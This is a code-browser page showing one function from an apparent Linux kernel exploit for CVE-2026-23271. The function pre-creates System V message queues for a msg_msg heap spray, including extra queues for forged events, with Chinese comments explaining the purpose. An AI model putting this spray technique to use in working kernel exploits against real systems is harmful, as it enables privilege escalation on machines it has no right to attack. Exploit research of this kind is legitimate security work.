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hub / github.com/bsauce/kernel-exploit-factory / setup_msg_queues

Function setup_msg_queues

CVE-2026-23271/exploit/exploit.cpp:1948–1962  ·  view source on GitHub ↗

预创建所有用于喷洒的消息队列 (MSG_SPRAY_COUNT + 伪造事件用的额外队列)

Source from the content-addressed store, hash-verified

1946
1947// 预创建所有用于喷洒的消息队列 (MSG_SPRAY_COUNT + 伪造事件用的额外队列)
1948void setup_msg_queues() {
1949 printf("[0-4] Setting up %d message queues...\n", MSG_SPRAY_COUNT);
1950 for (int i = 0; i < MSG_SPRAY_COUNT; i++) {
1951 if ((msg_queue_ids[i] = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
1952 perror("msgget");
1953 exit(1);
1954 }
1955 }
1956 for (int i = 0 ; i < MSG_FAKE_A_COUNT + MSG_FAKE_B_COUNT; i++) {
1957 if ((msg_fake_ids[i] = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
1958 perror("msgget");
1959 exit(1);
1960 }
1961 }
1962}
1963
1964// 辅助函数: 向所有 msg 队列发送带有唯一印章的消息
1965// 每个 msg_msgseg 的 payload 区域填充 (msg_idx << 32) | byte_offset

Callers 1

mainFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected